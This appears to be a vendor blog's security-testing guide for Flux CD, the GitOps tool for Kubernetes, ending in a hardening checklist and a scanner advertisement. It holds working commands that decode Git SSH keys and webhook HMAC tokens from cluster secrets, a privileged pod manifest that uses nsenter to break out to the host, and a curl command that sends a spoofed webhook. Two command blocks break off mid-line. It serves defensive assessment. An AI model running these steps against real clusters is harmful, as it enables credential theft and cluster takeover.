Flux CD Security Testing: GitOps Source Controller Credential Exposure, Kustomization Path Traversal, and RBAC Bypass

Flux CD is a GitOps continuous delivery tool that runs as a set of Kubernetes controllers, synchronizing cluster state from Git repositories. Because Flux controllers have broad cluster permissions by design — they must be able to apply any manifest — a compromised Flux component or misconfigured resource can become a cluster-wide privilege escalation path. Git credentials stored as secrets are accessible to Flux controllers, Kustomizations can reference files outside intended directories, and HelmRelease values can inject unexpected configuration. This guide covers systematic Flux CD security assessment.

Table of Contents

  1. Flux Architecture and Attack Surface
  2. Source Controller Credential Exposure
  3. Kustomization Path and Namespace Abuse
  4. HelmRelease Value Injection
  5. RBAC Escalation via Controller Service Accounts
  6. GitRepository Webhook Spoofing
  7. Image Automation Controller Abuse
  8. Flux CD Security Hardening

Flux Architecture and Attack Surface

ControllerFunctionSecurity Attack Surface
source-controllerFetches Git/Helm/OCI sourcesGit credential secrets, SSH key exposure
kustomize-controllerApplies Kustomizations to clusterBroad cluster apply permissions, path traversal
helm-controllerManages HelmReleasesValue injection, chart source tampering
notification-controllerSends alerts/triggers webhooksWebhook spoofing, token exposure
image-automation-controllerAuto-updates image tags in GitGit write-back credential, commit injection
# Enumerate Flux installation and controller versions
flux version 2>/dev/null || kubectl get deployments -n flux-system -o json | python3 -c "
import json,sys
deps = json.load(sys.stdin)['items']
for d in deps:
    name = d['metadata']['name']
    for c in d['spec']['template']['spec']['containers']:
        print(f'{name}: {c[\"image\"]}')
"

# Check Flux controller permissions (all controllers share broad RBAC)
kubectl get clusterrole flux-system -o yaml 2>/dev/null | grep -A 3 "- verbs"
# kustomize-controller typically has cluster-admin equivalent:
# - apiGroups: ["*"] resources: ["*"] verbs: ["*"]

Source Controller Credential Exposure

# Flux GitRepository resources reference secrets containing git credentials
# These secrets contain SSH private keys or HTTPS tokens/passwords

# List all GitRepository resources and their credential secrets
kubectl get gitrepositories --all-namespaces -o json | python3 -c "
import json,sys
repos = json.load(sys.stdin)['items']
for r in repos:
    meta = r['metadata']
    spec = r.get('spec',{})
    secret_ref = spec.get('secretRef',{})
    print(f\"GitRepository: {meta['namespace']}/{meta['name']}\")
    print(f\"  URL: {spec.get('url','?')}\")
    print(f\"  Credential secret: {secret_ref.get('name','none')}\")
"

# Extract a Git credential secret (SSH key or deploy token)
NAMESPACE=flux-system
SECRET_NAME=github-credentials  # From above output

kubectl get secret $SECRET_NAME -n $NAMESPACE -o json | python3 -c "
import json,sys,base64
secret = json.load(sys.stdin)
for key, val in secret.get('data',{}).items():
    decoded = base64.b64decode(val).decode('utf-8','ignore')
    print(f'=== {key} ===')
    print(decoded[:200])
"
# identity = SSH private key for git repository (grants git pull/push access)
# identity.pub = SSH public key
# known_hosts = allowed server fingerprints

# Check if SSH key has write access (push permissions to repo = supply chain attack)
# Flux typically needs read-only (pull); write is needed for image-automation-controller
# Read-only deploy keys: safe. Write deploy keys: supply chain risk.

Kustomization Path and Namespace Abuse

# Kustomizations define which path in a GitRepository to apply
# Misconfigured paths or cross-namespace references can expose unintended resources

# List all Kustomizations and their source paths
kubectl get kustomizations --all-namespaces -o json | python3 -c "
import json,sys
kustoms = json.load(sys.stdin)['items']
for k in kustoms:
    meta = k['metadata']
    spec = k.get('spec',{})
    source = spec.get('sourceRef',{})
    print(f\"Kustomization: {meta['namespace']}/{meta['name']}\")
    print(f\"  Path: {spec.get('path','/')}\")
    print(f\"  Source: {source.get('namespace',meta['namespace'])}/{source.get('name','?')}\")
    print(f\"  ServiceAccount: {spec.get('serviceAccountName','flux-system controller SA')}\")
    print(f\"  Target namespace: {spec.get('targetNamespace','same')}\")
"

# Test: Kustomization path traversal
# If a user controls a Kustomization spec, can they reference '../' to escape their path?
kubectl apply -f - <

HelmRelease Value Injection

# HelmRelease values are merged with chart defaults
# Injected values can override security controls set by the chart

# List all HelmReleases and check for user-controlled values sources
kubectl get helmreleases --all-namespaces -o json | python3 -c "
import json,sys
releases = json.load(sys.stdin)['items']
for r in releases:
    meta = r['metadata']
    spec = r.get('spec',{})
    values_from = spec.get('valuesFrom',[])
    print(f\"HelmRelease: {meta['namespace']}/{meta['name']}\")
    for vf in values_from:
        kind = vf.get('kind','?')
        name = vf.get('name','?')
        optional = vf.get('optional',False)
        print(f\"  Values from: {kind}/{name} optional={optional}\")
"

# Test: inject values via a ConfigMap that a developer controls
# If HelmRelease references a ConfigMap from the developer namespace:
kubectl apply -f - <

RBAC Escalation via Controller Service Accounts

# Flux controllers run as service accounts with broad cluster permissions
# If you can create a Kustomization that deploys a malicious manifest,
# the kustomize-controller applies it with its own (often cluster-admin) permissions

# Check kustomize-controller's actual cluster permissions
kubectl get clusterrolebindings -o json | python3 -c "
import json,sys
crbs = json.load(sys.stdin)['items']
for crb in crbs:
    for s in crb.get('subjects',[]):
        if s.get('name','').startswith('kustomize-controller') or \
           s.get('name','').startswith('helm-controller'):
            print(f\"{s['name']} → {crb['roleRef']['name']}\")
"

# Test: deploy a privileged pod via Flux Kustomization
# Create a manifest in a Git repo that creates a privileged pod
cat <<'EOF' > /tmp/exploit-manifest.yaml
apiVersion: v1
kind: Pod
metadata:
  name: flux-escape
  namespace: kube-system  # Applied by kustomize-controller to kube-system
spec:
  hostNetwork: true
  hostPID: true
  containers:
  - name: escape
    image: alpine
    command: ["/bin/sh", "-c", "nsenter --target 1 --mount --uts --ipc --net /bin/bash"]
    securityContext:
      privileged: true
EOF
# If a developer can push this to their GitRepository path and create a Kustomization,
# kustomize-controller applies it with full cluster access

# Mitigation check: does Flux use workload identity / impersonation?
kubectl get kustomizations --all-namespaces -o json | python3 -c "
import json,sys
kustoms = json.load(sys.stdin)['items']
for k in kustoms:
    sa = k.get('spec',{}).get('serviceAccountName','')
    print(f\"{k['metadata']['name']}: serviceAccount={sa if sa else 'DEFAULT CONTROLLER SA'}\")
" | grep "DEFAULT" | head -10
# Kustomizations without serviceAccountName use the controller's own SA (over-privileged)
# Secure: set serviceAccountName to a least-privilege SA in each target namespace

GitRepository Webhook Spoofing

# Flux supports receiver webhooks to trigger reconciliation on git push events
# A spoofed webhook with the correct HMAC token triggers immediate reconciliation

# Find Flux Receiver resources and their webhook secrets
kubectl get receivers --all-namespaces -o json | python3 -c "
import json,sys
receivers = json.load(sys.stdin)['items']
for r in receivers:
    meta = r['metadata']
    spec = r.get('spec',{})
    secret_ref = spec.get('secretRef',{})
    status = r.get('status',{})
    print(f\"Receiver: {meta['namespace']}/{meta['name']}\")
    print(f\"  Type: {spec.get('type','?')}\")
    print(f\"  Webhook secret: {secret_ref.get('name','?')}\")
    print(f\"  URL: {status.get('webhookPath','?')}\")
"

# Extract webhook HMAC token
kubectl get secret WEBHOOK_SECRET -n flux-system -o json | python3 -c "
import json,sys,base64
s = json.load(sys.stdin)
token = base64.b64decode(s['data']['token']).decode()
print(f'Webhook HMAC token: {token}')
# With this token an attacker can trigger reconciliation on demand
# Triggering reconciliation is low-risk if no malicious content in repo
# BUT: if used with timing attacks against slow git polling, attacker can
# race a malicious commit through before security scanning occurs
"

# Test: send a spoofed webhook to trigger reconciliation
WEBHOOK_TOKEN="stolen-token"
curl -X POST https://FLUX_RECEIVER_URL/hook/sha256-of-path \
  -H "X-Hub-Signature-256: sha256=$(echo -n '{}' | openssl dgst -sha256 -hmac $WEBHOOK_TOKEN | cut -d' ' -f2)" \
  -H "Content-Type: application/json" \
  -d '{}'

Flux CD Security Hardening

Flux CD Security Hardening Checklist:
  • Assign a dedicated, least-privilege serviceAccountName per Kustomization — never rely on the controller's own SA
  • Use read-only SSH deploy keys for source-controller — write access enables supply chain attacks via image-automation
  • Enable Flux's multi-tenancy lockdown: set --no-cross-namespace-refs to block cross-namespace source references
  • Use OCI artifact signing for HelmCharts and Kustomizations — verify signatures before applying
  • Restrict HelmRelease valuesFrom to only trusted ConfigMaps/Secrets in the same namespace
  • Rotate webhook receiver tokens regularly; treat them as sensitive API keys
  • Enable policy admission controllers (Kyverno/OPA) to block privileged manifests even when applied by Flux
  • Use Flux's built-in verification: GitRepository.spec.verify with GPG commit signing
  • Audit controller RBAC quarterly — Flux often requests more permissions than minimal needed

Automate Flux CD Security Testing

Ironimo tests Flux CD deployments for source controller credential exposure, Kustomization path abuse, HelmRelease value injection paths, RBAC over-grant via controller service accounts, and webhook token exposure — covering the full Flux attack surface.

Start free scan